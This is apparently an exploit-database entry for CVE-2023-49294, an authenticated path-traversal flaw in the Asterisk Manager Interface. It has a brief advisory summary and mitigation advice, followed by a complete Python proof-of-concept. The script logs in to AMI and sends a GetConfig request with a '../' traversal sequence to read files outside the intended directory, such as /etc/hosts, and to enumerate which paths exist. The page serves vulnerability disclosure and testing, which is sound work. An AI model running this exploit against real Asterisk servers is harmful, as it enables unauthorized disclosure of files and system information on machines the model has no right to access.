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Asterisk
by:
Sean Pesce
6.1
CVSS
HIGH
Authenticated vulnerability in Asterisk AMI allowing filesystem enumeration and limited file content disclosure
200
CWE
Product Name: Asterisk
Affected Version From: 18.20.0
Affected Version To: 18.20.0
Patch Exists: NO
Related CWE: CVE-2023-49294
CPE: a:digium:asterisk:18.20.0
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Platforms Tested: Debian Linux
2023

Asterisk AMI – Partial File Content & Path Disclosure (Authenticated)

The exploit targets CVE-2023-49294 in Asterisk AMI, enabling authenticated users to enumerate filesystems, discover existing file paths, and disclose partial file contents. The disclosed files need to comply with the Asterisk configuration format, similar to INI configuration. The vulnerability can be utilized for unauthorized access to sensitive information.

Mitigation:

To mitigate this vulnerability, users should apply the latest security patches provided by Asterisk. Additionally, restrict access to the Asterisk Management Interface (AMI) to authorized users only.
Source

Exploit-DB raw data:

# Exploit Title: Asterisk AMI - Partial File Content & Path Disclosure (Authenticated)
# Date: 2023-03-26
# Exploit Author: Sean Pesce
# Vendor Homepage: https://asterisk.org/
# Software Link: https://downloads.asterisk.org/pub/telephony/asterisk/old-releases/
# Version: 18.20.0
# Tested on: Debian Linux
# CVE: CVE-2023-49294

#!/usr/bin/env python3
#
# Proof of concept exploit for CVE-2023-49294, an authenticated vulnerability in Asterisk AMI that
# facilitates filesystem enumeration (discovery of existing file paths) and limited disclosure of
# file contents. Disclosed files must adhere to the Asterisk configuration format, which is similar
# to the common INI configuration format.
#
# References:
#   https://nvd.nist.gov/vuln/detail/CVE-2023-49294
#   https://github.com/asterisk/asterisk/security/advisories/GHSA-8857-hfmw-vg8f
#   https://docs.asterisk.org/Asterisk_18_Documentation/API_Documentation/AMI_Actions/GetConfig/


import argparse
import getpass
import socket
import sys


CVE_ID = 'CVE-2023-49294'

DEFAULT_PORT = 5038
DEFAULT_FILE = '/etc/hosts'
DEFAULT_ACTION_ID = 0
DEFAULT_TCP_READ_SZ = 1048576  # 1MB



def ami_msg(action, args, encoding='utf8'):
    assert type(action) == str, f'Invalid type for AMI Action (expected string): {type(action)}'
    assert type(args) == dict, f'Invalid type for AMI arguments (expected dict): {type(args)}'
    if 'ActionID' not in args:
        args['ActionID'] = 0
    line_sep = '\r\n'
    data = f'Action: {action}{line_sep}'
    for a in args:
        data += f'{a}: {args[a]}{line_sep}'
    data += line_sep
    return data.encode(encoding)



def tcp_send_rcv(sock, data, read_sz=DEFAULT_TCP_READ_SZ):
    assert type(data) in (bytes, bytearray, memoryview), f'Invalid data type (expected bytes): {type(data)}'
    sock.sendall(data)
    resp = b''
    while not resp.endswith(b'\r\n\r\n'):
        resp += sock.recv(read_sz)
    return resp



if __name__ == '__main__':
    # Parse command-line arguments
    argparser = argparse.ArgumentParser()
    argparser.add_argument('host', type=str, help='The host name or IP address of the Asterisk AMI server')
    argparser.add_argument('-p', '--port', type=int, help=f'Asterisk AMI TCP port (default: {DEFAULT_PORT})', default=DEFAULT_PORT)
    argparser.add_argument('-u', '--user', type=str, help=f'Asterisk AMI user', required=True)
    argparser.add_argument('-P', '--password', type=str, help=f'Asterisk AMI secret', default=None)
    argparser.add_argument('-f', '--file', type=str, help=f'File to read (default: {DEFAULT_FILE})', default=DEFAULT_FILE)
    argparser.add_argument('-a', '--action-id', type=int, help=f'Action ID (default: {DEFAULT_ACTION_ID})', default=DEFAULT_ACTION_ID)
    if '-h' in sys.argv or '--help' in sys.argv:
        print(f'Proof of concept exploit for {CVE_ID} in Asterisk AMI. More information here: \nhttps://nvd.nist.gov/vuln/detail/{CVE_ID}\n', file=sys.stderr)
        argparser.print_help()
        sys.exit(0)
    args = argparser.parse_args()

    # Validate command-line arguments
    assert 1 <= args.port <= 65535, f'Invalid port number: {args.port}'
    args.host = socket.gethostbyname(args.host)
    if args.password is None:
        args.password = getpass.getpass(f'[PROMPT] Enter the AMI password for {args.user}: ')

    print(f'[INFO] Proof of concept exploit for {CVE_ID}', file=sys.stderr)
    print(f'[INFO] Connecting to Asterisk AMI:  {args.user}@{args.host}:{args.port}', file=sys.stderr)

    # Connect to the Asterisk AMI server
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.connect((args.host, args.port))

    # Read server banner
    banner = sock.recv(DEFAULT_TCP_READ_SZ)
    print(f'[INFO] Connected to {banner.decode("utf8").strip()}', file=sys.stderr)

    # Authenticate to the Asterisk AMI server
    login_msg = ami_msg('Login', {'Username':args.user,'Secret':args.password})
    login_resp = tcp_send_rcv(sock, login_msg)
    while b'Authentication' not in login_resp:
        login_resp = tcp_send_rcv(sock, b'')
    if b'Authentication accepted' not in login_resp:
        print(f'\n[ERROR] Invalid credentials: \n{login_resp.decode("utf8")}', file=sys.stderr)
        sys.exit(1)
    #print(f'[INFO] Authenticated: {login_resp.decode("utf8")}', file=sys.stderr)
    print(f'[INFO] Login success', file=sys.stderr)

    # Obtain file data via path traversal
    traversal = '../../../../../../../../'
    cfg_msg = ami_msg('GetConfig', {
        'ActionID': args.action_id,
        'Filename': f'{traversal}{args.file}',
        #'Category': 'default',
        #'Filter': 'name_regex=value_regex,',
    })
    resp = tcp_send_rcv(sock, cfg_msg)
    while b'Response' not in resp:
        resp = tcp_send_rcv(sock, b'')

    print(f'', file=sys.stderr)
    print(f'{resp.decode("utf8")}')

    if b'Error' in resp:
        sys.exit(1)

    pass  # Done